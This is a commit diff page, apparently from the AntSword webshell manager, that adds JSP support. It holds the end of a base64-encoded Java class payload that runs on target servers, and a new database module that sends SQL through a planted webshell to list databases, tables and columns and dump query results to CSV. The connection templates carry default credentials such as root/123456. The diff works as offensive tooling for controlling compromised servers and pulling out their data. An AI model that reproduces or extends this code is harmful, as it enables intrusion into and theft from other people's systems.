A+gBi+AAHDh8AVwAAAAQAAQAfAAAAWgBbAAIASAAAAMcABAAJAAAAWrsAN1krtwA4TgM2BLsAOVkstwA6OgUttgA7wAA8OgYZBrYAPToHEQIAvAg6CBkHGQi2AD5ZNgQCnwAQGQUZCAMVBLYAP6f/6BkFtgBAGQe2AEEZBrYAQhJDsAAAAAIASQAAADIADAAAAD8ACQBAAAwAQQAWAEIAHwBDACYARAAtAEUAOwBGAEgASABNAEkAUgBKAFcASwBMAAAAIwAC/wAtAAkHAFEHAFAHAFAHAFwBBwBdBwBeBwBfBwBgAAAaAFcAAAAEAAEAHwABAGEAAAACAGI='
,
'var1'
:
'#{url}'
,
'var2'
:
'#{path}'
}
})
\ No newline at end of file
source/modules/database/jsp/index.js
0 → 100644
View file @
92bf8721
//
// 数据库驱动::JSP 支持数据库: Any
//
const
LANG
=
antSword
[
'language'
][
'database'
];
const
LANG_T
=
antSword
[
'language'
][
'toastr'
];
const
dialog
=
antSword
.
remote
.
dialog
;
const
fs
=
require
(
'fs'
);
class
JSP
{
constructor
(
opt
)
{
this
.
opt
=
opt
;
this
.
core
=
this
.
opt
.
core
;
this
.
manager
=
this
.
opt
.
super
;
//
// * 数据库驱动列表
//
this
.
conns
=
{
'mysql'
:
'com.mysql.jdbc.Driver
\
r
\
njdbc:mysql://localhost/test?user=root&password=123456'
,
'sqlserver'
:
'com.microsoft.sqlserver.jdbc.SQLServerDriver
\
r
\
njdbc:sqlserver://127.0.0.1:1433;'
+
'databaseName=test;user=sa;password=123456'
,
'oracle'
:
'oracle.jdbc.driver.OracleDriver
\
r
\
njdbc:oracle:thin:@127.0.0.1:1521/test
\
r
\
nuser'
+
'
\
r
\
npassword'
};
// 1. 初始化TREE UI
this
.
tree
=
this
.
manager
.
list
.
layout
.
attachTree
();
// 2. 加载数据库配置
this
.
parse
();
// 3. tree单击::设置当前配置&&激活按钮
this
.
tree
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
// 更改按钮状态
id
.
startsWith
(
'conn::'
)
?
this
.
enableToolbar
()
:
this
.
disableToolbar
();
// 设置当前配置
const
tmp
=
id
.
split
(
'::'
);
const
arr
=
tmp
[
1
].
split
(
':'
);
// 设置当前数据库
this
.
dbconf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
arr
[
0
]
});
if
(
arr
.
length
>
1
)
{
this
.
dbconf
[
'database'
]
=
Buffer
.
from
(
arr
[
1
],
'base64'
).
toString
();
// 更新SQL编辑器
this
.
enableEditor
();
// manager.query.update(this.currentConf);
}
else
{
this
.
disableEditor
();
}
});
// 4. tree双击::加载库/表/字段
this
.
tree
.
attachEvent
(
'onDblClick'
,
(
id
)
=>
{
const
arr
=
id
.
split
(
'::'
);
if
(
arr
.
length
<
2
)
{
throw
new
Error
(
'ID ERR: '
+
id
)
};
switch
(
arr
[
0
])
{
// 获取数据库列表
case
'conn'
:
this
.
getDatabases
(
arr
[
1
]);
break
;
// 获取数据库表名
case
'database'
:
let
_db
=
arr
[
1
].
split
(
':'
);
this
.
getTables
(
_db
[
0
],
Buffer
.
from
(
_db
[
1
],
'base64'
).
toString
());
break
;
// 获取表名字段
case
'table'
:
let
_tb
=
arr
[
1
].
split
(
':'
);
this
.
getColumns
(
_tb
[
0
],
Buffer
.
from
(
_tb
[
1
],
'base64'
).
toString
(),
Buffer
.
from
(
_tb
[
2
],
'base64'
).
toString
());
break
;
// 生成查询SQL语句
case
'column'
:
let
_co
=
arr
[
1
].
split
(
':'
);
const
db
=
Buffer
.
from
(
_co
[
1
],
'base64'
).
toString
();
const
table
=
Buffer
.
from
(
_co
[
2
],
'base64'
).
toString
();
const
column
=
Buffer
.
from
(
_co
[
3
],
'base64'
).
toString
();
let
sql
=
""
;
switch
(
this
.
dbconf
[
'type'
])
{
case
'mysql'
:
sql
=
`SELECT \`
${
column
}
\` FROM \`
${
table
}
\` ORDER BY 1 DESC LIMIT 0,20;`
;
break
;
case
'sqlserver'
:
case
'mssql'
:
case
'sqlsrv'
:
sql
=
`SELECT TOP 20 [
${
column
}
] FROM [
${
table
}
] ORDER BY 1 DESC;`
;
break
;
case
'oracle'
:
case
'oracle_oci8'
:
sql
=
`SELECT
${
column
}
FROM
${
db
}
.
${
table
}
WHERE ROWNUM < 20 ORDER BY 1`
;
break
;
case
'postgresql'
:
case
'postgresql_pdo'
:
sql
=
`SELECT
${
column
}
FROM
${
table
}
ORDER BY 1 DESC LIMIT 20 OFFSET 0;`
;
break
;
default
:
sql
=
`SELECT \`
${
column
}
\` FROM \`
${
table
}
\` ORDER BY 1 DESC LIMIT 0,20;`
;
break
;
}
this
.
manager
.
query
.
editor
.
session
.
setValue
(
sql
);
break
;
}
});
// 5. tree右键::功能菜单
this
.
tree
.
attachEvent
(
'onRightClick'
,
(
id
,
event
)
=>
{
if
(
!
id
.
startsWith
(
'conn::'
))
{
return
};
this
.
tree
.
selectItem
(
id
);
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
bmenu
([{
text
:
LANG
[
'list'
][
'menu'
][
'add'
],
icon
:
'fa fa-plus-circle'
,
action
:
this
.
addConf
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'edit'
],
icon
:
'fa fa-edit'
,
action
:
this
.
editConf
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'del'
],
icon
:
'fa fa-remove'
,
action
:
this
.
delConf
.
bind
(
this
)
}],
event
);
});
}
// 加载配置列表
parse
()
{
// 获取数据
const
info
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-findOne'
,
this
.
manager
.
opt
[
'_id'
]);
const
conf
=
info
[
'database'
]
||
{};
// 刷新UI 1.清空数据
this
.
tree
.
deleteChildItems
(
0
);
// 2.添加数据
let
items
=
[];
for
(
let
_
in
conf
)
{
items
.
push
({
id
:
`conn::
${
_
}
`
,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text
:
antSword
.
noxss
(
conf
[
_
][
'type'
].
toUpperCase
()),
im0
:
this
.
manager
.
list
.
imgs
[
0
],
im1
:
this
.
manager
.
list
.
imgs
[
0
],
im2
:
this
.
manager
.
list
.
imgs
[
0
]
});
}
// 3.刷新UI
this
.
tree
.
parse
({
id
:
0
,
item
:
items
},
'json'
);
// 禁用按钮
this
.
disableToolbar
();
this
.
disableEditor
();
}
// 添加配置
addConf
()
{
const
hash
=
(
+
new
Date
*
Math
.
random
())
.
toString
(
16
)
.
substr
(
2
,
8
);
// 创建窗口
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
450
,
300
);
win
.
setText
(
LANG
[
'form'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
)
.
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
// 工具栏
const
toolbar
=
win
.
attachToolbar
();
toolbar
.
loadStruct
([{
id
:
'add'
,
type
:
'button'
,
icon
:
'plus-circle'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'add'
]
},
{
type
:
'separator'
},
{
id
:
'clear'
,
type
:
'button'
,
icon
:
'remove'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'clear'
]
},
{
type
:
'separator'
},
{
id
:
'test'
,
type
:
'button'
,
icon
:
'spinner'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'test'
]
}]);
// form
const
form
=
win
.
attachForm
([{
type
:
'settings'
,
position
:
'label-left'
,
labelWidth
:
80
,
inputWidth
:
280
},
{
type
:
'block'
,
inputWidth
:
'auto'
,
offsetTop
:
12
,
list
:
[{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'type'
],
readonly
:
true
,
name
:
'type'
,
options
:
(()
=>
{
let
ret
=
[];
for
(
let
_
in
this
.
conns
)
{
ret
.
push
({
text
:
_
.
toUpperCase
(),
value
:
_
});
}
return
ret
;
})()
},
{
type
:
'input'
,
label
:
LANG
[
'form'
][
'conn'
],
name
:
'conn'
,
required
:
true
,
value
:
'com.mysql.jdbc.Driver
\
r
\
njdbc:mysql://localhost/test?user=root&password=123456'
,
rows
:
9
}]
}],
true
);
form
.
attachEvent
(
'onChange'
,
(
_
,
id
)
=>
{
if
(
_
!==
'type'
)
{
return
};
form
.
setFormData
({
conn
:
this
.
conns
[
id
]
});
});
// 工具栏点击事件
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
switch
(
id
)
{
case
'clear'
:
form
.
clear
();
break
;
case
'add'
:
if
(
!
form
.
validate
())
{
// return '填写完整!';
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
data
=
form
.
getValues
();
// 验证是否连接成功(获取数据库列表)
const
id
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-addDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
data
:
data
});
win
.
close
();
toastr
.
success
(
LANG
[
'form'
][
'success'
],
LANG_T
[
'success'
]);
this
.
tree
.
insertNewItem
(
0
,
`conn::
${
id
}
`
,
// `${data['type']}:\/\/${data['user']}@${data['host']}`,
data
[
'type'
].
toUpperCase
(),
null
,
this
.
manager
.
list
.
imgs
[
0
],
this
.
manager
.
list
.
imgs
[
0
],
this
.
manager
.
list
.
imgs
[
0
]);
break
;
case
'test'
:
if
(
!
form
.
validate
())
{
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
_data
=
form
.
getValues
();
win
.
progressOn
();
this
.
core
.
request
(
this
.
core
[
`database_
${
_data
[
'type'
]}
`
].
show_databases
({
conn
:
_data
[
'conn'
]
}))
.
then
((
res
)
=>
{
if
(
res
[
'text'
].
length
>
0
)
{
if
(
res
[
'text'
].
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
res
[
"text"
];
}
toastr
.
success
(
LANG
[
'form'
][
'test_success'
],
LANG_T
[
'success'
]);
}
else
{
toastr
.
warning
(
LANG
[
'form'
][
'test_warning'
],
LANG_T
[
'warning'
]);
}
win
.
progressOff
();
})
.
catch
((
err
)
=>
{
win
.
progressOff
();
toastr
.
error
(
JSON
.
stringify
(
err
),
LANG_T
[
'error'
]);
});
break
;
}
});
}
// 修改配置
editConf
()
{
const
id
=
this
.
tree
.
getSelected
()
.
split
(
'::'
)[
1
];
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
const
hash
=
(
+
new
Date
*
Math
.
random
())
.
toString
(
16
)
.
substr
(
2
,
8
);
// 创建窗口
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
450
,
300
);
win
.
setText
(
LANG
[
'form'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
)
.
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
// 工具栏
const
toolbar
=
win
.
attachToolbar
();
toolbar
.
loadStruct
([{
id
:
'edit'
,
type
:
'button'
,
icon
:
'edit'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'edit'
]
},
{
type
:
'separator'
},
{
id
:
'clear'
,
type
:
'button'
,
icon
:
'remove'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'clear'
]
},
{
type
:
'separator'
},
{
id
:
'test'
,
type
:
'button'
,
icon
:
'spinner'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'test'
]
}]);
// form
const
form
=
win
.
attachForm
([{
type
:
'settings'
,
position
:
'label-left'
,
labelWidth
:
80
,
inputWidth
:
280
},
{
type
:
'block'
,
inputWidth
:
'auto'
,
offsetTop
:
12
,
list
:
[{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'type'
],
readonly
:
true
,
name
:
'type'
,
options
:
(()
=>
{
let
ret
=
[];
for
(
let
_
in
this
.
conns
)
{
ret
.
push
({
text
:
_
.
toUpperCase
(),
value
:
_
,
selected
:
conf
[
'type'
]
===
_
});
}
return
ret
;
})()
},
{
type
:
'input'
,
label
:
LANG
[
'form'
][
'conn'
],
name
:
'conn'
,
required
:
true
,
value
:
conf
[
'conn'
],
rows
:
9
}]
}],
true
);
form
.
attachEvent
(
'onChange'
,
(
_
,
id
)
=>
{
if
(
_
!==
'type'
)
{
return
};
form
.
setFormData
({
conn
:
this
.
conns
[
id
]
});
});
// 工具栏点击事件
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
switch
(
id
)
{
case
'clear'
:
form
.
clear
();
break
;
case
'edit'
:
if
(
!
form
.
validate
())
{
// return '填写完整!';
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
data
=
form
.
getValues
();
// 验证是否连接成功(获取数据库列表)
const
id
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-editDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
this
.
tree
.
getSelected
()
.
split
(
'::'
)[
1
],
data
:
data
});
win
.
close
();
toastr
.
success
(
LANG
[
'form'
][
'success'
],
LANG_T
[
'success'
]);
// 刷新 UI
this
.
parse
();
break
;
case
'test'
:
if
(
!
form
.
validate
())
{
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
_data
=
form
.
getValues
();
win
.
progressOn
();
this
.
core
.
request
(
this
.
core
[
`database_
${
_data
[
'type'
]}
`
].
show_databases
({
conn
:
_data
[
'conn'
]
}))
.
then
((
res
)
=>
{
if
(
res
[
'text'
].
length
>
0
)
{
if
(
res
[
'text'
].
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
res
[
"text"
];
}
toastr
.
success
(
LANG
[
'form'
][
'test_success'
],
LANG_T
[
'success'
]);
}
else
{
toastr
.
warning
(
LANG
[
'form'
][
'test_warning'
],
LANG_T
[
'warning'
]);
}
win
.
progressOff
();
})
.
catch
((
err
)
=>
{
win
.
progressOff
();
toastr
.
error
(
JSON
.
stringify
(
err
),
LANG_T
[
'error'
]);
});
break
;
}
});
}
// 删除配置
delConf
()
{
const
id
=
this
.
tree
.
getSelected
()
.
split
(
'::'
)[
1
];
layer
.
confirm
(
LANG
[
'form'
][
'del'
][
'confirm'
],
{
icon
:
2
,
shift
:
6
,
title
:
LANG
[
'form'
][
'del'
][
'title'
]
},
(
_
)
=>
{
layer
.
close
(
_
);
const
ret
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-delDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
if
(
ret
===
1
)
{
toastr
.
success
(
LANG
[
'form'
][
'del'
][
'success'
],
LANG_T
[
'success'
]);
this
.
tree
.
deleteItem
(
`conn::
${
id
}
`
);
// 禁用按钮
this
.
disableToolbar
();
this
.
disableEditor
();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse();
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'del'
][
'error'
](
ret
),
LANG_T
[
'error'
]);
}
});
}
// 获取数据库列表
getDatabases
(
id
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
this
.
core
.
request
(
this
.
core
[
`database_
${
conf
[
'type'
]}
`
].
show_databases
({
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
:
[
'access'
,
'microsoft_jet_oledb_4_0'
].
indexOf
(
conf
[
'type'
])
>
-
1
?
conf
[
'conn'
].
match
(
/
[\w]
+.mdb$/
)
:
'database'
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
const
arr
=
ret
.
split
(
'
\
t'
);
if
(
arr
.
length
===
1
&&
ret
===
''
)
{
toastr
.
warning
(
LANG
[
'result'
][
'warning'
],
LANG_T
[
'warning'
])
return
this
.
manager
.
list
.
layout
.
progressOff
();
};
// 删除子节点
this
.
tree
.
deleteChildItems
(
`conn::
${
id
}
`
);
// 添加子节点
arr
.
map
((
_
)
=>
{
if
(
!
_
)
{
return
};
const
_db
=
Buffer
.
from
(
antSword
.
unxss
(
_
)).
toString
(
'base64'
);
this
.
tree
.
insertNewItem
(
`conn::
${
id
}
`
,
`database::
${
id
}
:
${
_db
}
`
,
_
,
null
,
this
.
manager
.
list
.
imgs
[
1
],
this
.
manager
.
list
.
imgs
[
1
],
this
.
manager
.
list
.
imgs
[
1
]);
});
this
.
manager
.
list
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'database'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
// 获取数据库表数据
getTables
(
id
,
db
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
this
.
core
.
request
(
this
.
core
[
`database_
${
conf
[
'type'
]}
`
].
show_tables
({
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
:
db
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
const
arr
=
ret
.
split
(
'
\
t'
);
const
_db
=
Buffer
.
from
(
db
).
toString
(
'base64'
);
// 删除子节点
this
.
tree
.
deleteChildItems
(
`database::
${
id
}
:
${
_db
}
`
);
// 添加子节点
arr
.
map
((
_
)
=>
{
if
(
!
_
)
{
return
};
const
_table
=
Buffer
.
from
(
antSword
.
unxss
(
_
))
.
toString
(
'base64'
);
this
.
tree
.
insertNewItem
(
`database::
${
id
}
:
${
_db
}
`
,
`table::
${
id
}
:
${
_db
}
:
${
_table
}
`
,
_
,
null
,
this
.
manager
.
list
.
imgs
[
2
],
this
.
manager
.
list
.
imgs
[
2
],
this
.
manager
.
list
.
imgs
[
2
]);
});
this
.
manager
.
list
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'table'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
// 获取字段
getColumns
(
id
,
db
,
table
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
this
.
core
.
request
(
this
.
core
[
`database_
${
conf
[
'type'
]}
`
].
show_columns
({
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
:
db
,
table
:
table
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
const
arr
=
ret
.
split
(
'
\
t'
);
const
_db
=
Buffer
.
from
(
db
)
.
toString
(
'base64'
);
const
_table
=
Buffer
.
from
(
table
)
.
toString
(
'base64'
);
// 删除子节点
this
.
tree
.
deleteChildItems
(
`table::
${
id
}
:
${
_db
}
:
${
_table
}
`
);
// 添加子节点
arr
.
map
((
_
)
=>
{
if
(
!
_
)
{
return
};
_
=
antSword
.
unxss
(
_
);
const
_column
=
Buffer
.
from
(
_
.
substr
(
0
,
_
.
lastIndexOf
(
' '
)))
.
toString
(
'base64'
);
this
.
tree
.
insertNewItem
(
`table::
${
id
}
:
${
_db
}
:
${
_table
}
`
,
`column::
${
id
}
:
${
_db
}
:
${
_table
}
:
${
_column
}
`
,
antSword
.
noxss
(
_
),
null
,
this
.
manager
.
list
.
imgs
[
3
],
this
.
manager
.
list
.
imgs
[
3
],
this
.
manager
.
list
.
imgs
[
3
]);
});
// 更新编辑器SQL语句
this
.
manager
.
query
.
editor
.
session
.
setValue
(
conf
[
'type'
]
===
'oracle'
?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM
${
db
}
.
${
table
}
A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
:
`SELECT * FROM
${
db
}
.
${
table
}
ORDER BY 1 DESC LIMIT 0,20;`
);
this
.
manager
.
list
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'column'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
// 执行SQL
execSQL
(
sql
)
{
this
.
manager
.
query
.
layout
.
progressOn
();
this
.
core
.
request
(
this
.
core
[
`database_
${
this
.
dbconf
[
'type'
]}
`
].
query
({
conn
:
this
.
dbconf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
sql
:
sql
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
// 更新执行结果
this
.
updateResult
(
ret
);
this
.
manager
.
query
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
query
.
layout
.
progressOff
();
});
}
// 更新SQL执行结果
updateResult
(
data
)
{
// 1.分割数组
const
arr
=
data
.
split
(
'
\
n'
);
// let arr = []; _arr.map((_) => { arr.push(antSword.noxss(_)); });
// console.log(_arr, arr); 2.判断数据
if
(
arr
.
length
<
2
)
{
return
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'parse'
],
LANG_T
[
'error'
]);
};
// 3.行头
let
header_arr
=
(
arr
[
0
]).
replace
(
/,/g
,
','
).
split
(
'
\
t|
\
t'
);
if
(
header_arr
.
length
===
1
)
{
return
toastr
.
warning
(
LANG
[
'result'
][
'error'
][
'noresult'
],
LANG_T
[
'warning'
]);
};
if
(
header_arr
[
header_arr
.
length
-
1
]
===
'
\
r'
)
{
header_arr
.
pop
();
};
arr
.
shift
();
// 4.数据
let
data_arr
=
[];
arr
.
map
((
_
)
=>
{
let
_data
=
_
.
split
(
'
\
t|
\
t'
);
data_arr
.
push
(
_data
);
});
data_arr
.
pop
();
// 5.初始化表格
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
grid
.
clearAll
();
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setColTypes
(
"txt,"
.
repeat
(
header_arr
.
length
).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setColumnMinWidth
(
100
,
header_arr
.
length
-
1
);
grid
.
setInitWidths
((
"100,"
.
repeat
(
header_arr
.
length
-
1
))
+
"*"
);
grid
.
setEditable
(
true
);
grid
.
init
();
// 添加数据
let
grid_data
=
[];
for
(
let
i
=
0
;
i
<
data_arr
.
length
;
i
++
)
{
grid_data
.
push
({
id
:
i
+
1
,
data
:
data_arr
[
i
]
});
}
grid
.
parse
({
'rows'
:
grid_data
},
'json'
);
// 启用导出按钮
this
.
manager
.
result
.
toolbar
[
grid_data
.
length
>
0
?
'enableItem'
:
'disableItem'
](
'dump'
);
}
// 导出查询数据
dumpResult
()
{
const
grid
=
this
.
manager
.
result
.
layout
.
getAttachedObject
();
let
filename
=
`
${
this
.
core
.
__opts__
.
ip
}
_
${
new
Date
()
.
format
(
"yyyyMMddhhmmss"
)}
.csv`
;
dialog
.
showSaveDialog
({
title
:
LANG
[
'result'
][
'dump'
][
'title'
],
defaultPath
:
filename
},
(
filePath
)
=>
{
if
(
!
filePath
)
{
return
;
};
let
headerStr
=
grid
.
hdrLabels
.
join
(
','
);
let
dataStr
=
grid
.
serializeToCSV
();
let
tempDataBuffer
=
Buffer
.
from
(
headerStr
+
'
\
n'
+
dataStr
);
fs
.
writeFileSync
(
filePath
,
tempDataBuffer
);
toastr
.
success
(
LANG
[
'result'
][
'dump'
][
'success'
],
LANG_T
[
'success'
]);
});
}
// 禁用toolbar按钮
disableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
result
.
toolbar
.
disableItem
(
'dump'
);
}
// 启用toolbar按钮
enableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
enableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
enableItem
(
'edit'
);
}
// 禁用SQL编辑框
disableEditor
()
{
[
'exec'
,
'clear'
].
map
(
this
.
manager
.
query
.
toolbar
.
disableItem
.
bind
(
this
.
manager
.
query
.
toolbar
));
this
.
manager
.
query
.
editor
.
setReadOnly
(
true
);
}
// 启用SQL编辑框
enableEditor
()
{
[
'exec'
,
'clear'
].
map
(
this
.
manager
.
query
.
toolbar
.
enableItem
.
bind
(
this
.
manager
.
query
.
toolbar
));
this
.
manager
.
query
.
editor
.
setReadOnly
(
false
);
}
}
module
.
exports
=
JSP
;
\ No newline at end of file
source/modules/settings/encoders.js
View file @
92bf8721
...
...
@@ -760,7 +760,7 @@ module.exports = {
!
fs
.
existsSync
(
userencoder_path
)
?
fs
.
mkdirSync
(
userencoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'php'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'
jsp'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
null
;
...
...
@@ -807,7 +807,7 @@ module.exports = {
!
fs
.
existsSync
(
userdecoder_path
)
?
fs
.
mkdirSync
(
userdecoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'php'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'
jsp'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
null
;
...
...
source/modules/shellmanager/list/form.js
View file @
92bf8721
...
...
@@ -267,6 +267,7 @@ class Form {
"php"
:
/
.
+
\
.
ph
(
p
[
345
]?
|
s
|
t
|
tml
)
/
,
"aspx"
:
/.+
\.
as
(
px|mx
)
/
,
"asp"
:
/
.
+
\
.(
as
(
p
|
a
|
hx
)
|
c
(
dx
|
er
))
/
,
"jsp"
:
/
.
+
\
.(
jsp
[
x
]?)
/
,
"custom"
:
/.+
\.((
jsp
[
x
]?)
|cgi
)
/
}
let
typecombo
=
form
.
getCombo
(
'type'
);
...
...
@@ -276,6 +277,8 @@ class Form {
typecombo
.
selectOption
(
typecombo
.
getOption
(
'aspx'
).
index
);
}
else
if
(
file_match
.
asp
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'asp'
).
index
);
}
else
if
(
file_match
.
jsp
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'jsp'
).
index
);
}
else
if
(
file_match
.
custom
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'custom'
).
index
);
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment